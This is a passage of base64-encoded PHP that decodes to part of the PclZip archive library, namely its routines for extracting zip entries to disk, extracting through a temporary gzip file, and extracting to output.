ml0ZSBwcm90ZWN0ZWQiKTsKCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwoJCSAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGV4dHJhY3RlZCBmaWxlIGlzIG9sZGVyCiAgICAgIGVsc2UgaWYgKGZpbGVtdGltZSgkcF9lbnRyeVsnZmlsZW5hbWUnXSkgPiAkcF9lbnRyeVsnbXRpbWUnXSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICBpZiAoICAgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9SRVBMQUNFX05FV0VSXSkpCgkJICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfUkVQTEFDRV9ORVdFUl09PT10cnVlKSkgewoJICAJICB9CgkJICAgIGVsc2UgewogICAgICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAibmV3ZXJfZXhpc3QiOwoKICAgICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgUENMWklQX09QVF9TVE9QX09OX0VSUk9SCiAgICAgICAgICAgIC8vIEZvciBoaXN0b3JpY2FsIHJlYXNvbiBmaXJzdCBQY2xaaXAgaW1wbGVtZW50YXRpb24gZG9lcyBub3Qgc3RvcAogICAgICAgICAgICAvLyB3aGVuIHRoaXMga2luZCBvZiBlcnJvciBvY2N1cnMuCiAgICAgICAgICAgIGlmICggICAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1NUT1BfT05fRVJST1JdKSkKCQkgICAgICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfU1RPUF9PTl9FUlJPUl09PT10cnVlKSkgewoKICAgICAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfV1JJVEVfT1BFTl9GQUlMLAoJCQkgICAgICAgICAgICAgIk5ld2VyIHZlcnNpb24gb2YgJyIuJHBfZW50cnlbJ2ZpbGVuYW1lJ10uIicgZXhpc3RzICIKCQkJCQkgICAgLiJhbmQgb3B0aW9uIFBDTFpJUF9PUFRfUkVQTEFDRV9ORVdFUiBpcyBub3Qgc2VsZWN0ZWQiKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKCQkgICAgICB9CgkJICAgIH0KICAgICAgfQogICAgICBlbHNlIHsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIENoZWNrIHRoZSBkaXJlY3RvcnkgYXZhaWxhYmlsaXR5IGFuZCBjcmVhdGUgaXQgaWYgbmVjZXNzYXJ5CiAgICBlbHNlIHsKICAgICAgaWYgKCgoJHBfZW50cnlbJ2V4dGVybmFsJ10mMHgwMDAwMDAxMCk9PTB4MDAwMDAwMTApIHx8IChzdWJzdHIoJHBfZW50cnlbJ2ZpbGVuYW1lJ10sIC0xKSA9PSAnLycpKQogICAgICAgICR2X2Rpcl90b19jaGVjayA9ICRwX2VudHJ5WydmaWxlbmFtZSddOwogICAgICBlbHNlIGlmICghc3Ryc3RyKCRwX2VudHJ5WydmaWxlbmFtZSddLCAiLyIpKQogICAgICAgICR2X2Rpcl90b19jaGVjayA9ICIiOwogICAgICBlbHNlCiAgICAgICAgJHZfZGlyX3RvX2NoZWNrID0gZGlybmFtZSgkcF9lbnRyeVsnZmlsZW5hbWUnXSk7CgogICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZEaXJDaGVjaygkdl9kaXJfdG9fY2hlY2ssICgoJHBfZW50cnlbJ2V4dGVybmFsJ10mMHgwMDAwMDAxMCk9PTB4MDAwMDAwMTApKSkgIT0gMSkgewoKICAgICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJwYXRoX2NyZWF0aW9uX2ZhaWwiOwoKICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgLy9yZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgJHZfcmVzdWx0ID0gMTsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGlmIGV4dHJhY3Rpb24gc2hvdWxkIGJlIGRvbmUKICAgIGlmICgkcF9lbnRyeVsnc3RhdHVzJ10gPT0gJ29rJykgewoKICAgICAgLy8gLS0tLS0gRG8gdGhlIGV4dHJhY3Rpb24gKGlmIG5vdCBhIGZvbGRlcikKICAgICAgaWYgKCEoKCRwX2VudHJ5WydleHRlcm5hbCddJjB4MDAwMDAwMTApPT0weDAwMDAwMDEwKSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG5vdCBjb21wcmVzc2VkIGZpbGUKICAgICAgICBpZiAoJHBfZW50cnlbJ2NvbXByZXNzaW9uJ10gPT0gMCkgewoKICAgIAkJICAvLyAtLS0tLSBPcGVuaW5nIGRlc3RpbmF0aW9uIGZpbGUKICAgICAgICAgIGlmICgoJHZfZGVzdF9maWxlID0gQGZvcGVuKCRwX2VudHJ5WydmaWxlbmFtZSddLCAnd2InKSkgPT0gMCkKICAgICAgICAgIHsKCiAgICAgICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICAgICAgJHBfZW50cnlbJ3N0YXR1cyddID0gIndyaXRlX2Vycm9yIjsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgfQoKCiAgICAgICAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGJ5IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgb2N0ZXRzIGJsb2NrcwogICAgICAgICAgJHZfc2l6ZSA9ICRwX2VudHJ5Wydjb21wcmVzc2VkX3NpemUnXTsKICAgICAgICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICAgICAgICB7CiAgICAgICAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsICR2X3JlYWRfc2l6ZSk7CiAgICAgICAgICAgIC8qIFRyeSB0byBzcGVlZCB1cCB0aGUgY29kZQogICAgICAgICAgICAkdl9iaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiR2X3JlYWRfc2l6ZSwgJHZfYnVmZmVyKTsKICAgICAgICAgICAgQGZ3cml0ZSgkdl9kZXN0X2ZpbGUsICR2X2JpbmFyeV9kYXRhLCAkdl9yZWFkX3NpemUpOwogICAgICAgICAgICAqLwogICAgICAgICAgICBAZndyaXRlKCR2X2Rlc3RfZmlsZSwgJHZfYnVmZmVyLCAkdl9yZWFkX3NpemUpOwogICAgICAgICAgICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBDbG9zaW5nIHRoZSBkZXN0aW5hdGlvbiBmaWxlCiAgICAgICAgICBmY2xvc2UoJHZfZGVzdF9maWxlKTsKCiAgICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIGZpbGUgbXRpbWUKICAgICAgICAgIHRvdWNoKCRwX2VudHJ5WydmaWxlbmFtZSddLCAkcF9lbnRyeVsnbXRpbWUnXSk7CgoKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAvLyAtLS0tLSBUQkMKICAgICAgICAgIC8vIE5lZWQgdG8gYmUgZmluaXNoZWQKICAgICAgICAgIGlmICgoJHBfZW50cnlbJ2ZsYWcnXSAmIDEpID09IDEpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9VTlNVUFBPUlRFRF9FTkNSWVBUSU9OLCAnRmlsZSBcJycuJHBfZW50cnlbJ2ZpbGVuYW1lJ10uJ1wnIGlzIGVuY3J5cHRlZC4gRW5jcnlwdGVkIGZpbGVzIGFyZSBub3Qgc3VwcG9ydGVkLicpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCgogICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdXNpbmcgdGVtcG9yYXJ5IGZpbGUgdG8gdW56aXAKICAgICAgICAgIGlmICggKCFpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfVEVNUF9GSUxFX09GRl0pKQogICAgICAgICAgICAgICYmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfVEVNUF9GSUxFX09OXSkKICAgICAgICAgICAgICAgICAgfHwgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEXSkKICAgICAgICAgICAgICAgICAgICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfVEVNUF9GSUxFX1RIUkVTSE9MRF0gPD0gJHBfZW50cnlbJ3NpemUnXSkpICkgKSB7CiAgICAgICAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2RXh0cmFjdEZpbGVVc2luZ1RlbXBGaWxlKCRwX2VudHJ5LCAkcF9vcHRpb25zKTsKICAgICAgICAgICAgaWYgKCR2X3Jlc3VsdCA8IFBDTFpJUF9FUlJfTk9fRVJST1IpIHsKICAgICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgICB9CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZXh0cmFjdCBpbiBtZW1vcnkKICAgICAgICAgIGVsc2UgewoKCiAgICAgICAgICAgIC8vIC0tLS0tIFJlYWQgdGhlIGNvbXByZXNzZWQgZmlsZSBpbiBhIGJ1ZmZlciAob25lIHNob3QpCiAgICAgICAgICAgICR2X2J1ZmZlciA9IEBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkcF9lbnRyeVsnY29tcHJlc3NlZF9zaXplJ10pOwoKICAgICAgICAgICAgLy8gLS0tLS0gRGVjb21wcmVzcyB0aGUgZmlsZQogICAgICAgICAgICAkdl9maWxlX2NvbnRlbnQgPSBAZ3ppbmZsYXRlKCR2X2J1ZmZlcik7CiAgICAgICAgICAgIHVuc2V0KCR2X2J1ZmZlcik7CiAgICAgICAgICAgIGlmICgkdl9maWxlX2NvbnRlbnQgPT09IEZBTFNFKSB7CgogICAgICAgICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICAgICAgICAvLyBUQkMKICAgICAgICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAiZXJyb3IiOwoKICAgICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyAtLS0tLSBPcGVuaW5nIGRlc3RpbmF0aW9uIGZpbGUKICAgICAgICAgICAgaWYgKCgkdl9kZXN0X2ZpbGUgPSBAZm9wZW4oJHBfZW50cnlbJ2ZpbGVuYW1lJ10sICd3YicpKSA9PSAwKSB7CgogICAgICAgICAgICAgIC8vIC0tLS0tIENoYW5nZSB0aGUgZmlsZSBzdGF0dXMKICAgICAgICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAid3JpdGVfZXJyb3IiOwoKICAgICAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyAtLS0tLSBXcml0ZSB0aGUgdW5jb21wcmVzc2VkIGRhdGEKICAgICAgICAgICAgQGZ3cml0ZSgkdl9kZXN0X2ZpbGUsICR2X2ZpbGVfY29udGVudCwgJHBfZW50cnlbJ3NpemUnXSk7CiAgICAgICAgICAgIHVuc2V0KCR2X2ZpbGVfY29udGVudCk7CgogICAgICAgICAgICAvLyAtLS0tLSBDbG9zaW5nIHRoZSBkZXN0aW5hdGlvbiBmaWxlCiAgICAgICAgICAgIEBmY2xvc2UoJHZfZGVzdF9maWxlKTsKCiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gQ2hhbmdlIHRoZSBmaWxlIG10aW1lCiAgICAgICAgICBAdG91Y2goJHBfZW50cnlbJ2ZpbGVuYW1lJ10sICRwX2VudHJ5WydtdGltZSddKTsKICAgICAgICB9CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGNobW9kIG9wdGlvbgogICAgICAgIGlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfU0VUX0NITU9EXSkpIHsKCiAgICAgICAgICAvLyAtLS0tLSBDaGFuZ2UgdGhlIG1vZGUgb2YgdGhlIGZpbGUKICAgICAgICAgIEBjaG1vZCgkcF9lbnRyeVsnZmlsZW5hbWUnXSwgJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1NFVF9DSE1PRF0pOwogICAgICAgIH0KCiAgICAgIH0KICAgIH0KCiAgCS8vIC0tLS0tIENoYW5nZSBhYm9ydCBzdGF0dXMKICAJaWYgKCRwX2VudHJ5WydzdGF0dXMnXSA9PSAiYWJvcnRlZCIpIHsKICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAic2tpcHBlZCI7CiAgCX0KCiAgICAvLyAtLS0tLSBMb29rIGZvciBwb3N0LWV4dHJhY3QgY2FsbGJhY2sKICAgIGVsc2VpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUE9TVF9FWFRSQUNUXSkpIHsKCiAgICAgIC8vIC0tLS0tIEdlbmVyYXRlIGEgbG9jYWwgaW5mb3JtYXRpb24KICAgICAgJHZfbG9jYWxfaGVhZGVyID0gYXJyYXkoKTsKICAgICAgJHRoaXMtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCRwX2VudHJ5LCAkdl9sb2NhbF9oZWFkZXIpOwoKICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgY2FsbGJhY2sKICAgICAgLy8gSGVyZSBJIGRvIG5vdCB1c2UgY2FsbF91c2VyX2Z1bmMoKSBiZWNhdXNlIEkgbmVlZCB0byBzZW5kIGEgcmVmZXJlbmNlIHRvIHRoZQogICAgICAvLyBoZWFkZXIuCiAgICAgICR2X3Jlc3VsdCA9ICRwX29wdGlvbnNbUENMWklQX0NCX1BPU1RfRVhUUkFDVF0oUENMWklQX0NCX1BPU1RfRVhUUkFDVCwgJHZfbG9jYWxfaGVhZGVyKTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGFib3J0IHJlc3VsdAogICAgICBpZiAoJHZfcmVzdWx0ID09IDIpIHsKICAgICAgCSR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfVVNFUl9BQk9SVEVEOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkV4dHJhY3RGaWxlVXNpbmdUZW1wRmlsZSgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkV4dHJhY3RGaWxlVXNpbmdUZW1wRmlsZSgmJHBfZW50cnksICYkcF9vcHRpb25zKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIENyZWF0ZXMgYSB0ZW1wb3JhcnkgZmlsZQogICAgJHZfZ3ppcF90ZW1wX25hbWUgPSBQQ0xaSVBfVEVNUE9SQVJZX0RJUi51bmlxaWQoJ3BjbHppcC0nKS4nLmd6JzsKICAgIGlmICgoJHZfZGVzdF9maWxlID0gQGZvcGVuKCR2X2d6aXBfdGVtcF9uYW1lLCAid2IiKSkgPT0gMCkgewogICAgICBmY2xvc2UoJHZfZmlsZSk7CiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfV1JJVEVfT1BFTl9GQUlMLCAnVW5hYmxlIHRvIG9wZW4gdGVtcG9yYXJ5IGZpbGUgXCcnLiR2X2d6aXBfdGVtcF9uYW1lLidcJyBpbiBiaW5hcnkgd3JpdGUgbW9kZScpOwogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCgogICAgLy8gLS0tLS0gV3JpdGUgZ3ogZmlsZSBmb3JtYXQgaGVhZGVyCiAgICAkdl9iaW5hcnlfZGF0YSA9IHBhY2soJ3ZhMWExVmExYTEnLCAweDhiMWYsIENocigkcF9lbnRyeVsnY29tcHJlc3Npb24nXSksIENocigweDAwKSwgdGltZSgpLCBDaHIoMHgwMCksIENocigzKSk7CiAgICBAZndyaXRlKCR2X2Rlc3RfZmlsZSwgJHZfYmluYXJ5X2RhdGEsIDEwKTsKCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGJ5IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgb2N0ZXRzIGJsb2NrcwogICAgJHZfc2l6ZSA9ICRwX2VudHJ5Wydjb21wcmVzc2VkX3NpemUnXTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsICR2X3JlYWRfc2l6ZSk7CiAgICAgIC8vJHZfYmluYXJ5X2RhdGEgPSBwYWNrKCdhJy4kdl9yZWFkX3NpemUsICR2X2J1ZmZlcik7CiAgICAgIEBmd3JpdGUoJHZfZGVzdF9maWxlLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwogICAgfQoKICAgIC8vIC0tLS0tIFdyaXRlIGd6IGZpbGUgZm9ybWF0IGZvb3RlcgogICAgJHZfYmluYXJ5X2RhdGEgPSBwYWNrKCdWVicsICRwX2VudHJ5WydjcmMnXSwgJHBfZW50cnlbJ3NpemUnXSk7CiAgICBAZndyaXRlKCR2X2Rlc3RfZmlsZSwgJHZfYmluYXJ5X2RhdGEsIDgpOwoKICAgIC8vIC0tLS0tIENsb3NlIHRoZSB0ZW1wb3JhcnkgZmlsZQogICAgQGZjbG9zZSgkdl9kZXN0X2ZpbGUpOwoKICAgIC8vIC0tLS0tIE9wZW5pbmcgZGVzdGluYXRpb24gZmlsZQogICAgaWYgKCgkdl9kZXN0X2ZpbGUgPSBAZm9wZW4oJHBfZW50cnlbJ2ZpbGVuYW1lJ10sICd3YicpKSA9PSAwKSB7CiAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJ3cml0ZV9lcnJvciI7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gT3BlbiB0aGUgdGVtcG9yYXJ5IGd6IGZpbGUKICAgIGlmICgoJHZfc3JjX2ZpbGUgPSBAZ3pvcGVuKCR2X2d6aXBfdGVtcF9uYW1lLCAncmInKSkgPT0gMCkgewogICAgICBAZmNsb3NlKCR2X2Rlc3RfZmlsZSk7CiAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJyZWFkX2Vycm9yIjsKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9SRUFEX09QRU5fRkFJTCwgJ1VuYWJsZSB0byBvcGVuIHRlbXBvcmFyeSBmaWxlIFwnJy4kdl9nemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHJlYWQgbW9kZScpOwogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCgogICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlsZSBieSBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFIG9jdGV0cyBibG9ja3MKICAgICR2X3NpemUgPSAkcF9lbnRyeVsnc2l6ZSddOwogICAgd2hpbGUgKCR2X3NpemUgIT0gMCkgewogICAgICAkdl9yZWFkX3NpemUgPSAoJHZfc2l6ZSA8IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgPyAkdl9zaXplIDogUENMWklQX1JFQURfQkxPQ0tfU0laRSk7CiAgICAgICR2X2J1ZmZlciA9IEBnenJlYWQoJHZfc3JjX2ZpbGUsICR2X3JlYWRfc2l6ZSk7CiAgICAgIC8vJHZfYmluYXJ5X2RhdGEgPSBwYWNrKCdhJy4kdl9yZWFkX3NpemUsICR2X2J1ZmZlcik7CiAgICAgIEBmd3JpdGUoJHZfZGVzdF9maWxlLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwogICAgfQogICAgQGZjbG9zZSgkdl9kZXN0X2ZpbGUpOwogICAgQGd6Y2xvc2UoJHZfc3JjX2ZpbGUpOwoKICAgIC8vIC0tLS0tIERlbGV0ZSB0aGUgdGVtcG9yYXJ5IGZpbGUKICAgIEB1bmxpbmsoJHZfZ3ppcF90ZW1wX25hbWUpOwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZFeHRyYWN0RmlsZUluT3V0cHV0KCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2RXh0cmFjdEZpbGVJbk91dHB1dCgmJHBfZW50cnksICYkcF9vcHRpb25zKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGZpbGUgaGVhZGVyCiAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2UmVhZEZpbGVIZWFkZXIoJHZfaGVhZGVyKSkgIT0gMSkgewogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKCiAgICAvLyAtLS0tLSBDaGVjayB0aGF0IHRoZSBmaWxlIGhlYWRlciBpcyBjb2hlcmVudCB3aXRoICRwX2VudHJ5IGluZm8KICAgIGlmICgkdGhpcy0+cHJpdkNoZWNrRmlsZUhlYWRlcnMoJHZfaGVhZGVyLCAkcF9lbnRyeSkgIT0gMSkgewogICAgICAgIC8vIFRCQwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHByZS1leHRyYWN0IGNhbGxiYWNrCiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1RdKSkgewoKICAgICAgLy8gLS0tLS0gR2VuZXJhdGUgYSBsb2NhbCBpbmZvcm1hdGlvbgogICAgICAkdl9sb2NhbF9oZWFkZXIgPSBhcnJheSgpOwogICAgICAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHBfZW50cnksICR2X2xvY2FsX2hlYWRlcik7CgogICAgICAvLyAtLS0tLSBDYWxsIHRoZSBjYWxsYmFjawogICAgICAvLyBIZXJlIEkgZG8gbm90IHVzZSBjYWxsX3VzZXJfZnVuYygpIGJlY2F1c2UgSSBuZWVkIHRvIHNlbmQgYSByZWZlcmVuY2UgdG8gdGhlCiAgICAgIC8vIGhlYWRlci4KICAgICAgJHZfcmVzdWx0ID0gJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUFJFX0VYVFJBQ1RdKFBDTFpJUF9DQl9QUkVfRVhUUkFDVCwgJHZfbG9jYWxfaGVhZGVyKTsKICAgICAgaWYgKCR2X3Jlc3VsdCA9PSAwKSB7CiAgICAgICAgLy8gLS0tLS0gQ2hhbmdlIHRoZSBmaWxlIHN0YXR1cwogICAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJza2lwcGVkIjsKICAgICAgICAkdl9yZXN1bHQgPSAxOwogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBhYm9ydCByZXN1bHQKICAgICAgaWYgKCR2X3Jlc3VsdCA9PSAyKSB7CiAgICAgICAgLy8gLS0tLS0gVGhpcyBzdGF0dXMgaXMgaW50ZXJuYWwgYW5kIHdpbGwgYmUgY2hhbmdlZCBpbiAnc2tpcHBlZCcKICAgICAgICAkcF9lbnRyeVsnc3RhdHVzJ10gPSAiYWJvcnRlZCI7CiAgICAgIAkkdl9yZXN1bHQgPSBQQ0xaSVBfRVJSX1VTRVJfQUJPUlRFRDsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gVXBkYXRlIHRoZSBpbmZvcm1hdGlvbnMKICAgICAgLy8gT25seSBzb21lIGZpZWxkcyBjYW4gYmUgbW9kaWZpZWQKICAgICAgJHBfZW50cnlbJ2ZpbGVuYW1lJ10gPSAkdl9sb2NhbF9oZWFkZXJbJ2ZpbGVuYW1lJ107CiAgICB9CgogICAgLy8gLS0tLS0gVHJhY2UKCiAgICAvLyAtLS0tLSBMb29rIGlmIGV4dHJhY3Rpb24gc2hvdWxkIGJlIGRvbmUKICAgIGlmICgkcF9lbnRyeVsnc3RhdHVzJ10gPT0gJ29rJykgewoKICAgICAgLy8gLS0tLS0gRG8gdGhlIGV4dHJhY3Rpb24gKGlmIG5vdCBhIGZvbGRlcikKICAgICAgaWYgKCEoKCRwX2VudHJ5WydleHRlcm5hbCddJjB4MDAwMDAwMTApPT0weDAwMDAwMDEwKSkgewogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG5vdCBjb21wcmVzc2VkIGZpbGUKICAgICAgICBpZiAoJHBfZW50cnlbJ2NvbXByZXNzZWRfc2l6ZSddID09ICRwX2VudHJ5WydzaXplJ10pIHsKCiAgICAgICAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGluIGEgYnVmZmVyIChvbmUgc2hvdCkKICAgICAgICAgICR2X2J1ZmZlciA9IEBmcmVhZCgkdGhpcy0+emlwX2ZkLCAkcF9lbnRyeVsnY29tcHJlc3NlZF9zaXplJ10pOwoKICAgICAgICAgIC8vIC0tLS0tIFNlbmQgdGhlIGZpbGUgdG8gdGhlIG91dHB1dAogICAgICAgICAgZWNobyAkdl9idWZmZXI7CiAgICAgICAgICB1bnNldCgkdl9idWZmZXIpOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKCiAgICAgICAgICAvLyAtLS0tLSBSZWFkIHRoZSBjb21wcmVzc2VkIGZpbGUgaW4gYSBidWZmZXIgKG9uZSBzaG90KQogICAgICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCR0aGlzLT56aXBfZmQsICRwX2VudHJ5Wydjb21wcmVzc2VkX3NpemUnXSk7CgogICAgICAgICAgLy8gLS0tLS0gRGVjb21wcmVzcyB0aGUgZmlsZQogICAgICAgICAgJHZfZmlsZV9jb250ZW50ID0gZ3ppbmZsYXRlKCR2X2J1ZmZlcik7CiAgICAgICAgICB1bnNldCgkdl9idWZmZXIpOwoKICAgICAgICAgIC8vIC0tLS0tIFNlbmQgdGhlIGZpbGUgdG8gdGhlIG91dHB1dAogICAgICAgICAgZWNobyAkdl9maWxlX2NvbnRlbnQ7CiAgICAgICAgICB1bnNldCgkdl9maWxlX2NvbnRlbnQpOwogICAgICAgIH0KICAgICAgfQogICAgfQoKCS8vIC0tLS0tIENoYW5nZSBhYm9ydCBzdGF0dXMKCWlmICgkcF9lbnRyeVsnc3RhdHVzJ10gPT0gImFib3J0ZWQiKSB7CiAgICAgICRwX2VudHJ5WydzdGF0dXMnXSA9ICJza2lwcGVkIjsKCX0KCiAgICAvLyAtLS0tLSBMb29rIGZvciBwb3N0LWV4dHJhY3QgY2FsbGJhY2sKICAgIGVsc2VpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUE9TVF9FWFRSQUNUXSkpIHsKCiAgICAgIC8vIC0tLS0tIEdlbmVyYXRlIGEgbG9jYWwgaW5mb3JtYXRpb24KICAgICAgJHZfbG9jYWxfaGVhZGVyID0gYXJyYXkoKTsKICAgICAgJHRoaXMtPnByaXZDb252ZX